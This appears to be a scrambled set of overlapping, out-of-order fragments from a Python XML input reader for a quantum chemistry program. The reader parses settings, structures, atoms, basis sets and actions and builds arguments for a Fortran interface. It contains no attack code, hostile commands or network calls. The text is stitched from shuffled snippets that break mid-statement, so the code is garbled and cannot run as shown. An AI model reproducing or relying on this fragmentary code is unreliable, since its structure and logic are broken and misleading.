"new_shape = (shape[0]+1) new_array = numpy.empty(new_shape, order='F') if len(shape) ==",
"\"\": id_value = self.get_tagid_for_name(tagtype, name) if id_value != -1: self.parameter_values[parameter_name]",
"def get_tagid_for_name(self, tagtype, name): if self.parent_object is not None: for",
"None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else:",
"is not None: complete_path = os.path.join(directory, path_text) else: complete_path =",
"tagtype, name): if self.parent_object is not None: for child in",
"# check if the path exists if not os.path.exists(directory_path): raise",
"self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text]) def get_atom_charge(self,",
"found.\".format(child.definition.attrib['global_index_counter'])) else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in child.definition.attrib: success",
"atom.attrib['type'] else: sys.exit(\"Error: The mandatory attribute 'type' not found in",
"counter {} failed. Counter not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in child.definition.attrib:",
"name = tag_name \"\"\" definition = self.definition.find('{}'.format(tag_name)) return definition def",
"# the '<class>'-tags if definition is None: definition_found = False",
"file exists, parse it and add it as a child",
"if counter_name in self.parameter_values: return self.parameter_values[counter_name] else: if self.parent_object is",
"definition_tag.attrib['name'] == tag.tag: definition = definition_tag definition_found = True break",
"in '_parse_children' calls. \"\"\" self.parameter_values = OrderedDict() self.parameter_definitions = OrderedDict()",
"[None] * size for key in dictionary: # convert the",
"elif filename is not None and os.path.exists(filename): self.directory = os.path.dirname(filename)",
"== \"__main__\": if len(sys.argv) <= 1: print(\"Give the input file",
"is not found in the local object, it is seached",
"of the XML-element, secondarily from the objects we are extending",
"'input_folder', 'folder_path']: if self.parameter_values[parameter_name] is not None: # convert the",
"child = InputXML(parent_object = self, definition = definition, input_object =",
"input structure of the action if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition =",
"1: print(\"Give the input file name as an input.\") else:",
"elif tag.tag == 'structure': child = StructureXML(parent_object = self, definition",
"type \\'{}\\' and name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'],",
"'child' of 'self' by one \"\"\" if 'global_index_counter' in child.definition.attrib:",
"= parameter_definition.attrib['minval'] if value < float(minval): sys.exit('Error: argument with name",
"self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed parameter: '{}' is not in the",
"!= len(other_value): return False for i in range(len(self_value)): if type(self_value[i])",
"to 'self' if self.root is not None: self._parse_children(self.root, self.directory) #",
"Reads in the output files and creates the corresponding objects",
"None,\\ definition = None, \\ directory = None): if (input_object",
"not found in the input file, just to # input",
"argument_type = parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text, parameter_definition) if",
"= 'basis_set' definition_tag = 'basis_set_input' class SettingsXML(InputXML): tag_type = 'settings'",
"counter_name): \"\"\" Get the value of a counter with name",
"None: if os.path.exists(definition_filename): definition = ET.parse(definition_filename) self.definition = definition.getroot() else:",
"parameter_name: return parameter_definition return None def get_definition_tag(self, tag_name): \"\"\" Retrieve",
"if type(self_value[i]) == float or type(self_value[i]) == numpy.float64 or type(self_value[i])",
"\"\"\" return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def __ne__(self, other):",
"parameter_name in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is not None:",
"order='F').T shape = temp_array.shape if len(shape) == 3: new_shape =",
"is None: for argument_key in list(argument_values): # the string lists",
"numpy.ndarray): if len(self_value) != len(other_value): return False for i in",
"input not given.\") self.retrieve() def prepare(self): \"\"\" Prepare the input",
"from the values of the XML-element, secondarily from the objects",
"following conditions: * * * * The above copyright notice",
"not be used independently. \"\"\" for tag in root: if",
"input the default values. for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name']",
"else: if tag.tag == 'settings': child = SettingsXML(parent_object = self,",
"len(options) > 0: valid_options = \"\" for option in options:",
"<gh_stars>1-10 \"\"\"---------------------------------------------------------------------------------* * Copyright (c) 2010-2018 <NAME>, <NAME>, <NAME>, *",
"ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * *",
"are not finding the value if self.get_parameter_value(parameter_name) == 0: tagtype",
"an InputProgrammingError is raised. \"\"\" if hasattr(self, 'parameter_values') and parameter_name",
"ignore empty lines if (len(xyz_text) == 1 and xyz_text[0] ==",
":] elif len(shape) == 2: new_array[:, :shape[1]] = temp_array[:, :]",
"use the value from extends roots if value is None",
"directory) elif tag.tag == 'action': child = ActionXML(parent_object = self,",
"and value \"\"\" for child in self.children: equal_found = False",
"not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters']) if",
"definition was not found, try to find the definition from",
"[0.0, 0.0, 0.0] x = atom.find('x') if (x is not",
"any person obtaining a copy * * of this software",
"the input to have all things required to call the",
"= 0 # read coordinates and atom types self.coordinates =",
"the Fortran interface \"\"\" self.parse() self.handle_folders() self.fill_id_values() kwargs = OrderedDict()",
"parameter_name[:parameter_name.rfind('_')] name_tag_found = tagtype+\"_name\" in self.parameter_values if name_tag_found: name =",
"the root, convert the values with type list to numpy",
"merge, publish, distribute, sublicense, and/or sell * * copies of",
"if counter_name in self.parameter_values: if self.parameter_values[counter_name] is None: self.parameter_values[counter_name] =",
"directory = directory) elif tag.tag == 'basis_set': child = BasisSetXML(parent_object",
"the definition tag for a tag with name = tag_name",
"place \"\"\" for parameter_name in self.parameter_values: if parameter_name.endswith(\"_id\"): # check",
"action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object",
"file, and the default # value of the parameter is",
"str(arg) if argument_type.startswith('bool'): if arg.lower() == 'false': value[i] = False",
"OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * * OUT",
"ActionXML(InputXML): tag_type = 'action' definition_tag = 'action_input' def parse(self): super(ActionXML,",
"xyz = atom.find('xyz') atom_type = self.read_atom_type(atom) if (xyz is not",
"if self.parameter_values[parameter_name] is not None: if argument_key in argument_values and",
"tag_type = 'basis_set' definition_tag = 'basis_set_input' class SettingsXML(InputXML): tag_type =",
"coordinates and atom types self.coordinates = [] self.types = []",
"= None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key in argument_values:",
"child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter'])",
"not self.parameter_values_are_equal(other, parameter_name): return False return True def is_of_same_type_as(self, other):",
"if parameter_name.endswith(\"_id\"): # check if the tag has value that",
"self.parameter_values[parameter_name]) # make the path more readable by removing extra",
"not found, None is returned. \"\"\" value = None if",
"value[i] = float(arg) if argument_type.startswith('double'): value[i] = float(arg) if argument_type.startswith('string'):",
"'maxval' in parameter_definition.attrib: maxval = parameter_definition.attrib['maxval'] if value > float(maxval):",
"\\ definition_filename = None,\\ input_object = None,\\ parent_object = None,\\",
"the input structure of the action if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition",
"list: temp = numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for j, value in",
"in self.parameter_values: return self.parameter_values[counter_name] else: if self.parent_object is not None:",
"User must note that this function is recursive as it",
"\"\"\" self.parse() self.handle_folders() self.fill_id_values() kwargs = OrderedDict() self.get_interface_argument_values(kwargs) return kwargs",
"== tagtype and hasattr(child, 'name') and child.name == name: return",
"value def read_parameter_value(self, parameter_definition): \"\"\" Read the value of the",
"do the parsing of the input array (could also be",
"Software. * * * * THE SOFTWARE IS PROVIDED \"AS",
"be used independently. \"\"\" for tag in root: if tag.tag",
"self.parent_object is not None: for child in self.parent_object.children: if hasattr(child,",
"Parse paremeters and child xml-tags of the root-xml tags stored",
"of parameter with name 'parameter_name' for two objects of the",
"of the input array (could also be a dictionary), which",
"\"\"\" Set an arbitrary value 'value' for the parameter with",
"check if the path exists if os.path.exists(complete_path): tree = ET.parse(complete_path)",
"is not None: for child in self.parent_object.children: if hasattr(child, 'tag_type')",
"exists, parse it and add it as a child of",
"= self, definition = definition, input_object = tag, directory =",
"definition_found: print(\"Warning: Found unknown tag with name '{}'. Ignoring.\".format(tag.tag)) continue",
"temp_array[:, :] else: new_array[:shape[0]] = temp_array[:] argument_values[argument_key] = new_array elif",
"note that this function is recursive as it calls 'parse'",
"form of array, should have a list or a dictionary,",
"is not None): result[1] = float(y.text) z = atom.find('z') if",
"including without limitation the rights * * to use, copy,",
"value = float(value_text) elif argument_type.startswith('double'): value = float(value_text) elif argument_type.startswith('string'):",
"= parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition):",
"named 'path' and/or 'extends_path'. \"\"\" if self.root is not None:",
"= root_object, \\ definition = structure_definition) structure.root = structure.retrieve_path(structure_filename, structure.directory)",
"else: complete_path = path_text # check if the path exists",
"and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def __ne__(self, other): return not self.__eq__(other)",
"option.attrib and value_text == option.attrib['value']: return value_text elif 'text_value' in",
"value = root.attrib[name] return value def read_parameter_value(self, parameter_definition): \"\"\" Read",
"IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS",
"* size else: result = [None] * size for key",
"parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] for child in self.children: if 'global_index_counter' in",
"path. \"\"\" if original_directory is not None: complete_path = os.path.join(original_directory,",
"failed. Counter not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name): \"\"\" Add value",
"numpy.zeros(size) try: for i, arg in enumerate(array_values): if argument_type.startswith('int'): value[i]",
"structure.id) class BasisSetXML(InputXML): tag_type = 'basis_set' definition_tag = 'basis_set_input' class",
"return -1 def get_parameter_definition(self, parameter_name): \"\"\" Retrieve the parameter definition",
"as the input scf energetics of the action if os.path.exists(os.path.join(self.directory,",
"== other.definition.attrib['name'] def children_are_equal(self, other): \"\"\" Check if children of",
"if value_text is None: value = None elif argument_type.startswith('int'): value",
"NONINFRINGEMENT. IN NO EVENT SHALL THE * * AUTHORS OR",
"from 'path_text' and 'original_directory' and validate that it exists. Returns",
"raise Exception(\"Error: '{}' tag path '{}' does not exist\".format(self.tag_type, complete_path))",
"The value \"{}\" for argument with name \"{}\" is not",
"path_text) else: complete_path = path_text directory_path = os.path.dirname(complete_path) # check",
"\"\"\" Add value of counter parameter with name=='counter_name' by one.",
"\\ \"of the object. Have you perfomed 'parse' for the",
"the content from path_text if path_text is not None and",
"child.parse() def handle_folders(self): \"\"\" Creates missing folders and replaces relative",
"with the input directory path = os.path.join(self.directory, self.parameter_values[parameter_name]) # make",
"fill_id_values(self): \"\"\" Finds the id for each parameter where reference",
"not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child in self.children: child.handle_folders() def get_interface_argument_values(self,",
"the children cannot be equal if not equal_found: return False",
"should have a list or a dictionary, value is: {}.\".format(value_text))",
"attribute 'type' not found in 'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms): xyz",
"= numpy.empty(new_shape, order='F') if len(shape) == 3: new_array[:, :, :shape[2]]",
"elif tag.tag == 'action': child = ActionXML(parent_object = self, definition",
"int(parameter_definition.attrib['shape']) value = numpy.zeros(size) try: for i, arg in enumerate(array_values):",
"and store them to 'self' if hasattr(self, 'extends_roots') and self.extends_roots",
"-1: self.parameter_values[parameter_name] = id_value for child in self.children: child.fill_id_values() def",
"\\ definition = structure_definition) structure.root = structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure) root_object.child_definitions.append('structure')",
"root, directory): \"\"\" Parse children of root xml-tag 'root' and",
"of the parameter from the parsed parameters. If the parameter",
"else: return self_value == other_value def all_parameter_values_are_equal(self, other): \"\"\" Check",
"# and set it as the input structure of the",
"'O':8, 'F':9, 'Ne':10, 'Na': 11, 'Mg':12, 'Al':13, 'Si':14, 'P':15, 'S':16,",
"that this function is recursive as it calls 'parse' for",
"for parameter_definition in self.definition.findall('parameter'): if parameter_definition.attrib['name'] == parameter_name: return parameter_definition",
"sys.exit(str(e)) # prepare for the next loop by getting the",
"the parameter definition size = int(parameter_definition.attrib['shape']) value = numpy.zeros(size) try:",
"class SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics' definition_tag = 'scf_energetics_input' class ActionXML(InputXML):",
"* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,",
"allowed value: {}', parameter_definition.attrib['name'], value, float(maxval)) def get_option_value(self, value_text, parameter_definition):",
"for i in range(len(self_value)): if type(self_value[i]) == float or type(self_value[i])",
"def prepare(self): \"\"\" Prepare the input to have all things",
"xyz.strip().split(\" \") xyz_coord = [0.0, 0.0, 0.0] # ignore empty",
"name_tag_found: name = self.parameter_values[tagtype+\"_name\"] if name is not None and",
"from the xml-root of this object and store them #",
"SettingsGenerator.generate_fortran(parameter_definition): value = str(value_text) else: value = str(value_text) elif argument_type.startswith('bool'):",
"# value of the parameter is not specified. if self.parameter_values[parameter_name]",
"with definition 'parameter_definition'. \"\"\" # convert the value to right",
"file reader import os import sys import xml.etree.ElementTree as ET",
"* * furnished to do so, subject to the following",
"input_object = tag, directory = directory) elif tag.tag == 'scf_energetics':",
"= 'action' definition_tag = 'action_input' def parse(self): super(ActionXML, self).parse() self.handle_output_files()",
"add it as a child of the root # and",
"limits self.check_value_range(final_value, parameter_definition) # set the parameter value self.parameter_values[parameter_definition.attrib['name']] =",
"success: print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['global_index_counter'])) else:",
"is not None): xyz_text = xyz.text.strip().split(\" \") if (len(xyz_text) ==",
"need some special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) == list:",
"= bool(arg) except ValueError: sys.exit('Error: parameter with type \\'{}\\' and",
"other): return not self.__eq__(other) def read_array_values(self, value_text, argument_type): is_number =",
"# and set it as the input scf energetics of",
"path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception as e:",
"if value_text.lower() == 'false': value = False elif value_text.lower() ==",
"is returned. \"\"\" value = None if root is not",
"return parameter_definition return None def get_definition_tag(self, tag_name): \"\"\" Retrieve the",
"and argument_values[argument_key] is not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] = [self.parameter_values[parameter_name]]",
"tag_type = 'action' definition_tag = 'action_input' def parse(self): super(ActionXML, self).parse()",
"if directory is not None: complete_path = os.path.join(directory, path_text) else:",
"of the Software. * * * * THE SOFTWARE IS",
"'counters' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['counters']) if not success: print(\"Warning:",
"parameter_definitions: argument_values[argument_key] = None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if argument_key",
"are equal with each other \"\"\" return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\",
"it as the input scf energetics of the action if",
"the action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics =",
"read coordinates and atom types self.coordinates = [] self.types =",
"and child.tag_type == tagtype and hasattr(child, 'name') and child.name ==",
"and self.definition.attrib['name'] == other.definition.attrib['name'] def children_are_equal(self, other): \"\"\" Check if",
"one \"\"\" if 'global_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter']) if",
"arg.lower() == 'true': value[i] = True else: value[i] = bool(arg)",
"or child with # name 'path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'path')",
"structure_definition = root_object.definition.find('structure_input') structure = StructureXML(parent_object = root_object, \\ definition",
"self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename = \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if structure",
"os.path.exists(definition_filename): definition = ET.parse(definition_filename) self.definition = definition.getroot() else: sys.exit(\"Input definition",
"value = None else: # do the parsing of the",
"sell * * copies of the Software, and to permit",
"name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return value",
"SOFTWARE OR THE USE OR OTHER DEALINGS IN THE *",
"associated documentation files (the \"Software\"), to deal * * in",
"parameter is not specified. if self.parameter_values[parameter_name] is not None: if",
"\"\"\"---------------------------------------------------------------------------------* * Copyright (c) 2010-2018 <NAME>, <NAME>, <NAME>, * *",
"= final_value @staticmethod def read_tag_or_attribute_value(root, name): \"\"\" Reads the value",
"has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else: try: if value_text",
"read_atom_coordinates_and_type(self, atom): result = [0.0, 0.0, 0.0] x = atom.find('x')",
"i, extends_root in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) # parse the children",
"action if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition = root_object.definition.find('structure_input') structure = StructureXML(parent_object",
"Too many or too few coordinates in 'atom'->'xyz' -tag.\") self.coordinates.append(result)",
"child.tag_type == tagtype and hasattr(child, 'name') and child.name == name:",
"absolute ones if not os.path.isabs(self.parameter_values[parameter_name]): # join the directory of",
"scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition",
"for i, extends_root in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) # parse the",
"None: self._parse_children(self.root, self.directory) # add the tag classes that are",
"CONTRACT, TORT OR OTHERWISE, ARISING FROM, * * OUT OF",
"parameter_definition) if SettingsGenerator.is_array(parameter_definition): if value_text is None: value = None",
"if len(self_value) != len(other_value): return False for i in range(len(self_value)):",
"temp = numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for j, value in enumerate(argument_values[argument_key]):",
"None): if (input_object is not None): self.root = input_object elif",
"with name {} and value {} is larger than the",
"is not valid\", parameter_definition.attrib['name']) # if the object has extends_root,",
"by one \"\"\" if 'global_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter'])",
"sys.exit('Error: parameter with type \\'{}\\' and name \\'{}\\' has invalid",
"'.format(value_text, parameter_definition.attrib['name'], valid_options)) def get_root_object(self): if self.parent_object is None: return",
"self.root = self.tree.getroot() else: print(\"Path for definition file: '{}' does",
"in parameter_definitions: argument_values[argument_key] = None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if",
"with name 'parameter_name' for two objects of the same type.",
"else: if argument_key not in parameter_definitions: argument_values[argument_key] = None parameter_definitions[argument_key]",
"= False elif value_text.lower() == 'true': value = True else:",
"if self.parent_object is not None: for child in self.parent_object.children: if",
"is not None: # try to retrieve the content from",
"int(arg) if argument_type.startswith('float'): value[i] = float(arg) if argument_type.startswith('double'): value[i] =",
"an xml. If attribute or tag is not found, None",
"None: definition = self.parent_object.definition.find(self.definition_tag) if definition is not None: self.definition",
"THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE",
"definition = definition_tag definition_found = True break if not definition_found:",
"for definition file: '{}' does not exist\".format(filename)) else: self.root =",
"input_object = tag, directory = directory) elif tag.tag == 'action':",
"it should not be used independently. \"\"\" for tag in",
"definition filename does not exist: {}\".format(definition_filename)) elif self.parent_object is not",
"'settings': child = SettingsXML(parent_object = self, definition = definition, input_object",
"= InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self): \"\"\" Finds the id for",
"that are not found in the input file, just to",
"# Check if the parameter value is None. If the",
"add as a child of the root # and set",
"'parameter_values') and parameter_name in self.parameter_values: return self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed",
"self.root = self.retrieve_path(path_text, self.directory) self.directory = self.form_new_directory_path(path_text, self.directory) except Exception",
"name 'name' in an xml. If attribute or tag is",
"not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name]",
"== 'true': value[i] = True else: value[i] = bool(arg) except",
"FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL",
"ast.literal_eval(\"{\"+ value_text +\"}\") size = max(dictionary.keys()) # init array of",
"or 'local_index_counter' in child.definition.attrib or 'counters' in child.definition.attrib: counter_present =",
"= root_object.definition.find('structure_input') structure = StructureXML(parent_object = root_object, \\ definition =",
"else: sys.exit(\"Definition tag input not given.\") self.retrieve() def prepare(self): \"\"\"",
"is None: value = None else: # do the parsing",
"Software is * * furnished to do so, subject to",
"original_directory = None): \"\"\" Creates a new directory path from",
"be a dictionary), which # has to be changed to",
"not found in the local object, it is seached from",
"output folder does not exist, create it if parameter_name ==",
"is not None: self.directory = directory elif filename is not",
"for i, atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom): result",
"IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER",
"tag, directory = directory) elif tag.tag == 'scf_energetics': child =",
"values to 'self.parameter_values'. The corresponding definitions are stored to 'self.child_definitions'",
"tags for i, atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then read",
"value = int(value_text) elif argument_type.startswith('float'): value = float(value_text) elif argument_type.startswith('double'):",
"thirdly from the default value of the parameter definition. \"\"\"",
"width=256) argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key]) == list: temp_array",
"and check that it is valid final_value = self.convert_argument_value(value, parameter_definition)",
"argument_type.startswith('float'): value = float(value_text) elif argument_type.startswith('double'): value = float(value_text) elif",
"dict try: dictionary = ast.literal_eval(\"{\"+ value_text +\"}\") size = max(dictionary.keys())",
"and value_text == option.attrib['value']: return value_text elif 'text_value' in option.attrib",
"else: sys.exit(\"Error: Too many or too few coordinates in 'atom'->'xyz'",
"None: for i, extends_root in enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) # parse",
"0 self.parameter_values[counter_name] += 1 return True else: if self.parent_object is",
"check if current tag has an attribute or child with",
"# do the parsing of the input array (could also",
"within given limits self.check_value_range(final_value, parameter_definition) # set the parameter value",
"result[0] = float(xyz_text[1]) result[1] = float(xyz_text[2]) result[2] = float(xyz_text[3]) else:",
"== 'false': value[i] = False elif arg.lower() == 'true': value[i]",
"complete_path)) return directory_path def retrieve_path(self, path_text, directory): \"\"\" Retrieves content",
"== 'basis_set': child = BasisSetXML(parent_object = self, definition = definition,",
"is not None: for extends_root in self.extends_roots: value = InputXML.read_tag_or_attribute_value(extends_root,",
"missing folders and replaces relative paths with non-relative ones \"\"\"",
"that is not 0, in that case # we are",
"* * * * The above copyright notice and this",
"# try to retrieve the content from path_text try: self.extends_roots.append(self.retrieve_path(path_text,",
"self.children: if 'global_index_counter' in child.definition.attrib or 'local_index_counter' in child.definition.attrib or",
"argument_values[argument_key].append(self.parameter_values[parameter_name]) else: argument_values[argument_key] = [self.parameter_values[parameter_name]] parameter_definitions[argument_key] = self.parameter_definitions[parameter_name] else: if",
"is not None: argument_key = \"{}_{}\".format(abbreviation, parameter_name) else: argument_key =",
"\"\"\" if original_directory is not None: complete_path = os.path.join(original_directory, path_text)",
"option.attrib['text_value'])) sys.exit('Error: The value \"{}\" for argument with name \"{}\"",
"'self' and 'other' are equal \"\"\" for parameter_name in self.parameter_values:",
"child.definition.attrib: counter_present = True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation =",
"\\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else: try: if",
"not None and os.path.exists(filename): self.directory = os.path.dirname(filename) elif self.parent_object is",
"= os.path.join(directory, path_text) else: complete_path = path_text # check if",
"Add all the counter values for the child object 'child'",
"InputProgrammingError(Exception): pass class InputXML(object): tag_type = 'input' definition_tag = 'input_definition'",
"not success: print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['global_index_counter']))",
"argument_values[argument_key] = new_array elif argument_values[argument_key] is None: del argument_values[argument_key] def",
"object. Have you perfomed 'parse' for the object?\") def parameter_values_are_equal(self,",
"self.parameter_values[parameter_name] is not None: if argument_key in argument_values and argument_values[argument_key]",
"enumerate(array_values): if argument_type.startswith('int'): value[i] = int(arg) if argument_type.startswith('float'): value[i] =",
"and atom types self.coordinates = [] self.types = [] self.charges",
"atom types self.coordinates = [] self.types = [] self.charges =",
"invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else: try: if value_text is",
"!= other_value[i]: return False return True else: return self_value ==",
"input definition was not found, try to find the definition",
"is not None: self._parse_children(self.root, self.directory) # add the tag classes",
"input-output dictionary 'arguments_values'. \"\"\" if 'abbreviation' in self.definition.attrib: abbreviation =",
"OF ANY KIND, EXPRESS OR * * IMPLIED, INCLUDING BUT",
"ActionXML(parent_object = self, definition = definition, input_object = tag, directory",
"not success: print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['local_index_counter']))",
"= temp_array[:] argument_values[argument_key] = new_array elif argument_values[argument_key] is None: del",
"get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text): return float(self.atom_types[atom_type_text]) def",
"dictionary[key] except: try: result = ast.literal_eval(\"[\"+ value_text +\"]\") except: raise",
"self.parameter_values = OrderedDict() self.parameter_definitions = OrderedDict() self.children = [] self.child_definitions",
"if not success: print(\"Warning: Adding counter {} failed. Counter not",
"roots if value is None and hasattr(self, 'extends_roots') and self.extends_roots",
"return atom.attrib['type'] else: sys.exit(\"Error: The mandatory attribute 'type' not found",
"\\ and self.definition.attrib['name'] == other.definition.attrib['name'] def children_are_equal(self, other): \"\"\" Check",
"list) or isinstance(self_value, numpy.ndarray): if len(self_value) != len(other_value): return False",
"result[2] = float(z.text) xyz = atom.find('xyz') atom_type = self.read_atom_type(atom) if",
"xml-tag 'root' and store them as children in the 'self'.",
"child.parse() def parse(self): \"\"\" Parse paremeters and child xml-tags of",
"= ActionXML(parent_object = self, definition = definition, input_object = tag,",
"# if the object has extends_root, then parse the children",
"reader import os import sys import xml.etree.ElementTree as ET import",
"directory is not None: self.directory = directory elif filename is",
"name \"{}\" is not within allowed options: {} '.format(value_text, parameter_definition.attrib['name'],",
"int(value_text) elif argument_type.startswith('float'): value = float(value_text) elif argument_type.startswith('double'): value =",
"the parameters first for parameter_definition in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition,",
"ET.parse(filename) self.root = self.tree.getroot() else: print(\"Path for definition file: '{}'",
"-1 def get_parameter_definition(self, parameter_name): \"\"\" Retrieve the parameter definition for",
"= str(arg) if argument_type.startswith('bool'): if arg.lower() == 'false': value[i] =",
"value_text +\"}\") size = max(dictionary.keys()) # init array of size",
"content from path_text try: self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception",
"scf_energetics_filename)): scf_energetics_definition = root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object = root_object, \\",
"from collections import OrderedDict class InputProgrammingError(Exception): pass class InputXML(object): tag_type",
"self.child_definitions = [] # handle the parameters first for parameter_definition",
"too few coordinates in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if",
"* to use, copy, modify, merge, publish, distribute, sublicense, and/or",
"= self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name) if isinstance(self_value, list) or isinstance(self_value,",
"None: self.definition = definition else: sys.exit(\"Definition tag '{}' not found",
"None and path_text != \"\": try: self.root = self.retrieve_path(path_text, self.directory)",
"arbitrary value 'value' for the parameter with definition 'parameter_definition'. \"\"\"",
"enumerate(self.extends_roots): self._parse_children(extends_root, self.extends_directories[i]) # parse the children from the xml-root",
"tag or attribute with name 'name' in an xml. If",
"= False): \"\"\" This function converts the values of the",
"use, copy, modify, merge, publish, distribute, sublicense, and/or sell *",
"BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * *",
"* * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN",
"in enumerate(array_values): if argument_type.startswith('int'): value[i] = int(arg) if argument_type.startswith('float'): value[i]",
"value_text)) return value def check_value_range(self, value, parameter_definition): if value is",
"root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename = \\",
"and check if there is equal for other_child in other.children:",
"\"\"): continue elif (len(xyz_text) == 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] =",
"in self.child_definitions: child = InputXML(parent_object = self, definition = definition_tag)",
"= temp_array[:, :] else: new_array[:shape[0]] = temp_array[:] argument_values[argument_key] = new_array",
"is not within allowed options: {} '.format(value_text, parameter_definition.attrib['name'], valid_options)) def",
"= tag, directory = directory) elif tag.tag == 'structure': child",
"option in options: if 'value' in option.attrib and value_text ==",
"<NAME>, * * <NAME>, <NAME>, <NAME> * * * *",
"things required to call the Fortran interface \"\"\" self.parse() self.handle_folders()",
"allowed options: {} '.format(value_text, parameter_definition.attrib['name'], valid_options)) def get_root_object(self): if self.parent_object",
"definition_tag definition_found = True break if not definition_found: print(\"Warning: Found",
